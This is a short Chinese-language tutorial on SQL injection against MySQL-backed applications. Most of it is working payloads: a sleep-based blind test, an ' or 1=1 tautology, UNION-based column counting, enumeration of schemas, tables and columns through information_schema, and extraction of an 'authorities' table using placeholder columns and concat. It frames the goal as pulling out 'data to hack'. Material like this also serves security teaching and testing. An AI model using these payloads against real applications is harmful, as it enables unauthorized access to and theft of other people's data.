sql注入实例
本实例以mysql数据库为演示环境,oracle
视情况处理,如:元数据库表换为:all_tab_columns
/user_tab_columns
不知道当前sql是否存在sql注入漏洞?
- 使用sleep盲测
输入正确查询条件:如文本框中输入:admin(要保证可以查询出来数据)
例如:输入探测语句(admin' and sleep(5) --'),测试观察响应时间是否延迟了5秒
- 使用探测语句
第一个':闭合程序语句,否则会出现语句错误
第二个':闭合程序语句,否则会出现语句错误
条件:1=1,恒等式,查询所有数据
' or 1=1 --'
知道存在sql注入情况,下一步试探查询列(程序中查询列有几个?)
//一次次试探,直到出现数据为止
1=2' union select 1 --'
1=2' union select 1,2 --'
1=2' union select 1,2,3 --'
1=2' union select 1,2,3,4 --'
1=2' union select 1,2,3,4,5 --'
....
如何知道当前有哪些数据库,库中有哪些表?
采用数据库自带元数据表:如,mysql中的information_schema.tables
,其中TABLE_SCHEMA
表示库,TABLE_NAME
表示表,
information_schema.COLUMNS
表示表中的列元数据
//其中1=2是为了将程序中第一个查询结果除去,这行语句就可以知道数据库中的表和库
1=2' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables -- '
//其中1=2是为了将程序中第一个查询结果除去,这行语句就可以知道数据库中的表和表的列
1=2' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS-- '
若目标数据(待黑数据)比程序中的sql查询列少,怎么处理?
//比如当前查询有5个字段,而我们只需要1个字段则通过使用站位,如此时的:1,2,3,4
1=2' union select authority,1,2,3,4 from authorities -- '
若目标数据(待黑数据)比程序中的sql查询列多,怎么处理?
//比如程序中只查询2个字段,而我们需要黑5个字段,则可以通过使用concat函数链接诸多个字段为一个字段中返回即可
1=2' union select authority,concat(字段1,' ',字段2,' ',字段3,' ',字段4) from authorities -- '